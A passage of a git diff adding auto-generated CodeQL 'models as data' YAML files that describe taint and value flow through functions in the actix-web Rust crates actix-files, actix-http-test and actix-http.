"Argument[self].Field[crate::named::NamedFile::encoding].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_encoding", "Argument[0]", "ReturnValue.Field[crate::named::NamedFile::encoding].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_encoding", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_type", "Argument[0]", "Argument[self].Field[crate::named::NamedFile::content_type]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_type", "Argument[0]", "ReturnValue.Field[crate::named::NamedFile::content_type]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_content_type", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_status_code", "Argument[0]", "Argument[self].Field[crate::named::NamedFile::status_code]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_status_code", "Argument[0]", "ReturnValue.Field[crate::named::NamedFile::status_code]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::set_status_code", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::use_etag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::use_last_modified", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::as_ref", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::deref", "Argument[self].Field[0]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "::deref", "Argument[self].Field[crate::service::FilesService(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "crate::chunked::new_chunked_read", "Argument[0]", "ReturnValue.Field[crate::chunked::ChunkedReadFile::size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "crate::chunked::new_chunked_read", "Argument[1]", "ReturnValue.Field[crate::chunked::ChunkedReadFile::offset]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "crate::directory::directory_listing", "Argument[1].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::service::ServiceResponse::request]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-files", "crate::encoding::equiv_utf8_text", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http-test.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http-test.model.yml new file mode 100644 index 000000000000..e76569692ab7 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http-test.model.yml @@ -0,0 +1,40 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::addr", "Argument[self].Field[crate::TestServer::addr]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::delete", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::get", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::head", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::options", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::patch", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::post", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::put", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::put", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::request", "Argument[0]", "ReturnValue.Field[crate::request::ClientRequest::head].Field[crate::requests::head::RequestHead::method]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::request", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sdelete", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sdelete", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sget", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sget", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::shead", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::shead", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::soptions", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::soptions", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spatch", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spatch", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spost", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::spost", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sput", "Argument[self].Field[crate::TestServer::client].Field[0]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::sput", "Argument[self].Field[crate::TestServer::client].Field[crate::client::Client(0)]", "ReturnValue.Field[crate::request::ClientRequest::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::surl", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http-test", "::url", "Argument[0]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http.model.yml b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http.model.yml new file mode 100644 index 000000000000..f1e7d73e1294 --- /dev/null +++ b/rust/ql/lib/ext/generated/actix-web/repo-https-github.com-actix-actix-web-actix-http.model.yml @@ -0,0 +1,227 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/actix/actix-web:actix-http", "<&crate::header::value::HeaderValue as crate::header::into_value::TryIntoHeaderValue>::try_into_value", "Argument[self].Reference", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "<&str as crate::header::into_value::TryIntoHeaderValue>::try_into_value", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from_io", "Argument[1]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::body::body_stream::BodyStream::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::boxed", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::body::message_body::MessageBodyMapErr::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1]", "ReturnValue.Field[crate::body::message_body::MessageBodyMapErr::mapper].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::size", "Argument[self].Field[crate::body::sized_stream::SizedStream::size]", "ReturnValue.Field[crate::body::size::BodySize::Sized(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::body::sized_stream::SizedStream::size]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1]", "ReturnValue.Field[crate::body::sized_stream::SizedStream::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect_timeout", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::client_disconnect_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect_timeout", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::client_disconnect_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_disconnect_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_request_timeout", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::client_request_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_request_timeout", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::client_request_timeout]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::client_request_timeout", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::expect", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::keep_alive", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::local_addr", "Argument[0]", "Argument[self].Field[crate::builder::HttpServiceBuilder::local_addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::local_addr", "Argument[0]", "ReturnValue.Field[crate::builder::HttpServiceBuilder::local_addr].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::local_addr", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::secure", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::upgrade", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from_headers", "Argument[0]", "ReturnValue.Field[crate::encoding::decoder::Decoder::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::encoding::decoder::Decoder::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::response", "Argument[2]", "ReturnValue.Field[crate::encoding::encoder::Encoder::body].Field[crate::encoding::encoder::EncoderBody::Stream::body]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_bytes", "Argument[self]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::source", "Argument[self].Field[crate::encoding::encoder::EncoderError::Io(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::source", "Argument[self].Field[crate::error::DispatchError::H2(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::source", "Argument[self].Field[crate::error::DispatchError::Io(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::source", "Argument[self].Field[crate::error::DispatchError::Parse(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_cause", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::error::ParseError::Io(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::error::ParseError::Uri(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::error::ParseError::Utf8(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::error::PayloadError::Http2Payload(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::error::PayloadError::Incomplete(0)].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::error::PayloadError::Incomplete(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::source", "Argument[self].Field[crate::error::PayloadError::Http2Payload(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::source", "Argument[self].Field[crate::error::PayloadError::Incomplete(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::source", "Argument[self].Field[crate::error::PayloadError::Io(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::finish", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::finish", "Argument[self].Field[crate::extensions::NoOpHasher(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::write_u64", "Argument[0]", "Argument[self].Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::write_u64", "Argument[0]", "Argument[self].Field[crate::extensions::NoOpHasher(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::h1::Message::Item(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::chunk", "Argument[self].Field[crate::h1::Message::Chunk(0)].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::message", "Argument[self].Field[crate::h1::Message::Item(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_payload_codec", "Argument[self].Field[crate::h1::client::ClientCodec::inner]", "ReturnValue.Field[crate::h1::client::ClientPayloadCodec::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::h1::client::ClientCodec::inner].Field[crate::h1::client::ClientCodecInner::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_message_codec", "Argument[self].Field[crate::h1::client::ClientPayloadCodec::inner]", "ReturnValue.Field[crate::h1::client::ClientCodec::inner]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::config", "Argument[self].Field[crate::h1::codec::Codec::config]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::h1::codec::Codec::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::length", "Argument[0]", "ReturnValue.Field[crate::h1::decoder::PayloadDecoder::kind].Field[crate::h1::decoder::Kind::Length(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::chunk", "Argument[self].Field[crate::h1::decoder::PayloadItem::Chunk(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::unwrap", "Argument[self].Field[crate::h1::decoder::PayloadType::Payload(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::encode", "Argument[self].Field[crate::h1::encoder::TransferEncoding::kind].Field[crate::h1::encoder::TransferEncodingKind::Chunked(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::length", "Argument[0]", "ReturnValue.Field[crate::h1::encoder::TransferEncoding::kind].Field[crate::h1::encoder::TransferEncodingKind::Length(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::expect", "Argument[0]", "ReturnValue.Field[crate::h1::service::H1Service::expect]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "Argument[self].Field[crate::h1::service::H1Service::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "ReturnValue.Field[crate::h1::service::H1Service::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::upgrade", "Argument[0]", "ReturnValue.Field[crate::h1::service::H1Service::upgrade]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_config", "Argument[0]", "ReturnValue.Field[crate::h1::service::H1Service::cfg]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::h1::utils::SendResponse::framed].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1].Field[crate::responses::response::Response::body]", "ReturnValue.Field[crate::h1::utils::SendResponse::body].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::h2::Payload::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::h2::dispatcher::Dispatcher::connection]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1]", "ReturnValue.Field[crate::h2::dispatcher::Dispatcher::flow]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[2]", "ReturnValue.Field[crate::h2::dispatcher::Dispatcher::config]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[3]", "ReturnValue.Field[crate::h2::dispatcher::Dispatcher::peer_addr]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "Argument[self].Field[crate::h2::service::H2Service::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[0]", "ReturnValue.Field[crate::h2::service::H2Service::on_connect_ext]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::on_connect_ext", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_config", "Argument[0]", "ReturnValue.Field[crate::h2::service::H2Service::cfg]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::call", "Argument[0].Field[1]", "ReturnValue.Field[crate::h2::service::H2ServiceHandlerResponse::state].Field[crate::h2::service::State::Handshake(2)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::next", "Argument[self].Field[crate::header::map::Removed::inner].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::size_hint", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::deref", "Argument[self].Field[crate::header::map::Value::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::header::shared::http_date::HttpDate(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::max", "Argument[0]", "ReturnValue.Field[crate::header::shared::quality_item::QualityItem::item]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::min", "Argument[0]", "ReturnValue.Field[crate::header::shared::quality_item::QualityItem::item]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[0]", "ReturnValue.Field[crate::header::shared::quality_item::QualityItem::item]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::new", "Argument[1]", "ReturnValue.Field[crate::header::shared::quality_item::QualityItem::quality]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::zero", "Argument[0]", "ReturnValue.Field[crate::header::shared::quality_item::QualityItem::item]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::try_into_value", "Argument[self]", "ReturnValue.Field[crate::result::Result::Ok(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Field[crate::option::Option::Some(0)].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::keep_alive::KeepAlive::Timeout(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::keep_alive::KeepAlive::Timeout(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::keep_alive::KeepAlive::Timeout(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::duration", "Argument[self].Field[crate::keep_alive::KeepAlive::Timeout(0)].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::normalize", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::payload::Payload::H1::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::payload::Payload::H2::payload].Field[crate::h2::Payload::stream]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::payload::Payload::H2::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::payload::Payload::Stream::payload]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::take", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::with_pool", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers_mut", "Argument[self].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::as_ref", "Argument[self].Field[crate::requests::head::RequestHeadType::Owned(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::requests::head::RequestHeadType::Owned(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self].Field[crate::requests::head::RequestHeadType::Owned(0)].Field[crate::requests::head::RequestHead::headers]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::from", "Argument[0]", "ReturnValue.Field[crate::requests::request::Request::head]", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::headers", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::take_payload", "Argument[self].Field[crate::requests::request::Request::payload]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::head", "Argument[self].Field[crate::requests::request::Request::head]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::head_mut", "Argument[self].Field[crate::requests::request::Request::head]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/actix/actix-web:actix-http", "::into_parts", 